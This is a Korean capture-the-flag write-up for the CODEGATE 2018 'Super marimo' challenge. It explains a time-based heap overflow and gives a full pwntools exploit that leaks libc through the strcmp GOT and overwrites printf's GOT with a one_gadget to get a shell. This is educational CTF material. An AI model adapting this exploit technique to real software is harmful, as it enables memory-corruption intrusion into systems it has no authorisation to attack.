Write-up

[CODEGATE 2018] Super marimo write-up

ch4rli3kop 2018. 2. 20. 17:23
반응형

Codegate 2018 Super marimo 라는 문제임니다. 우선, 문제를 적당히 파악해 봅시다.


포인터를 이용해 참조하는 부분은, 좀 더 편히 보기 위해 적당한 구조체를 만들어 연결해줍시다.

대충 위와 같이, 전보다는 보기 편해졌습니다.



이제 적당히 분석을 시작합니닿.


정말로 적당히 분석해보면, 저기 28번째 줄에서 취약점을 발견하실 수 있습니다. 이해가 쏙쏙 되도록 적당한 예를 하나 들어봅시닿


위의 그림은 이름은 각 각 "AAAAA...", "BBBBBB..."이고, profile은 둘 모두 "0000000.." 인 marimo를 "show me the marimo"라는 치트를 통해 만들었을 때의 힙 영역을 나타낸 것임니다.

위와 같은 상황에서 만약, 첫 번째 marimo의 profile을 만약 32바이트보다 더 쓸 수 있다면, 뒤의 marimo가 가지고 있는 포인터들을 덮어, 좋은 곳(?)에 사용할 수 있을 것 같습니다.(엄지척)


그런데 28번째 줄을 보면, 만약 profile을 수정할 때 v3가 만약 1보다 큰 상태라면, 기존에 profile이 할당받은 32바이트의 공간 뿐만 아니라 그 너머까지 쓸 수 있는 힙 오버플로우가 발생할 수 있습니다.

여기서 v3은 (수정을 하는 현재 시각) - (만들어진 시각) + 1 이므로,  sleep을 이용하여 적당한 시간을 보낸 후, 수정을 한다면 위와 같이 다음 chunk를 덮어쓸 수 있습네요!



으하하 이제 좋은 일(?)을 할 수 있을 것 같으니! 쭈압쭈압해서 시나리오를 짜봅시닿!

1. 치트를 이용하여 두 개의 marimo를 heap 영역에 할당한 다음에,

2. sleep을 이용해서 적당한 시간을 보내고,

3. View 기능의 Modify를 통해, 첫 번째 marimo의 profile을 적당히 덮어서, 두 번째, marimo의 name과 profile에 각 각 strcmp의 got와 printf의 got를 덮어줍시닿.

4. 그런 뒤에, 이번에는 두 번째 marimo에 View 기능을 써서, name에서 흘러나오는 strcmp 함수의 실제 주소를 구하고, 또 이를 통해서 libc base를 구해줍니닿.

5. 마지막으로 Modify 기능을 통해, printf의 got를, libc base를 구해내어 이제는 알 수 있는 one_gadget의 주소로 덮어주면 끝입니다!




계획대로 잘 덮어주셨다면, 위와 같이 printf의 got에서 one_gadget을 발견하실 수 있읍니다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
#r = remote('ch41l3ng3s.codegate.kr',3333)
= process('./marimo')
 
def cheet(name):
    r.recvuntil(">> ")  #category
    r.sendline("show me the marimo")
    r.recvuntil(">> ")  #name
    r.sendline(name)
    r.recvuntil(">> ")    #profile
    r.sendline("0"*32)
 
def modify(num, content):
    r.recvuntil(">> ")    #category
    r.sendline("V")
    r.recvuntil(">> ")    #select
    r.sendline(str(num))
    r.recvuntil(">> ")    #M / B
    r.sendline("M")
    r.recvuntil(">> ")    #new profile
    r.sendline(content)
    r.recvuntil(">> ")    #M / B
    r.sendline("B")
 
def View(num):
    r.recvuntil(">> ")
    r.sendline("V")
    r.recvuntil(">> ")    #select
    r.sendline(str(num))
 
 
 
########   memory leak   ########
 
printf_got = 0x603028
strcmp_got = 0x603040
#malloc_got = 0x603050
 
cheet("A"*16)
cheet("B"*16)
 
payload1 = ""
payload1 += "\x00"*0x38
payload1 += p64(strcmp_got)
payload1 += p64(printf_got)
#payload1 += p64(21)
 
raw_input("### Start! ###")
sleep(3)
modify(0, payload1)
 
raw_input("### memory leak! ###")
View(1)
r.recvuntil("name : ")
leak = r.recv(6)
strcmp_addr = u64(leak[0:6].ljust(8,'\x00'))
libc = strcmp_addr - 652656
one_gadget = libc + 0x45216
#malloc_hook = libc + 3951376
 
success("strcmp address = " + hex(strcmp_addr))
success("libc base = " + hex(libc))
 
 
 
########  overwrite got  #########
 
# __malloc_hook = printf_addr + 3597312
# malloc_addr = libc + 4079360
 
raw_input("### got overwrite! ###")
r.recvuntil(">> ")
r.sendline("M")
r.recvuntil(">> ")    #new profile
r.sendline(p64(one_gadget))
r.interactive()
 
#r.recvuntil("[M]odify / [B]ack ?")
#r.recv(2)    #M / B
#r.sendline("B")
 
# raw_input(">>>>>>>")
# r.recvuntil(">>")
# r.sendline("show me the marimo")
# r.recvuntil(">> ")  #name
# r.sendline("AA")
# r.recvuntil(">> ")    #profile
# r.sendline("BB")
 
cs




[+] 시간 오래 걸린 곳


처음에 strcmp의 주소가 아니라 printf의 주소를 이용해서 libc base를 구하려고 했는데, printf의 주소가 \x00 이 있어서...허흑 %s로 출력이 다 안된다.


strcmp 의 got에 있는 주소는 p strcmp 해서 나오는 <strcmp>랑 다르다. 우분투 16에서는 <__str_see2_unaligned> 였고, 14에서는 <__strcmp_ssse3> 였다. 라이브러리 차이인 것 같다.


* 처음에 printf의 got가 아니라 malloc의 got를 one_gadget으로 덮으려고 했었다. 근데 malloc의 got를 덮으니 이유는 모르겠는데 interactive가 안되고 바로 EOF가 뜬다. 제일 오래 걸렷다.




반응형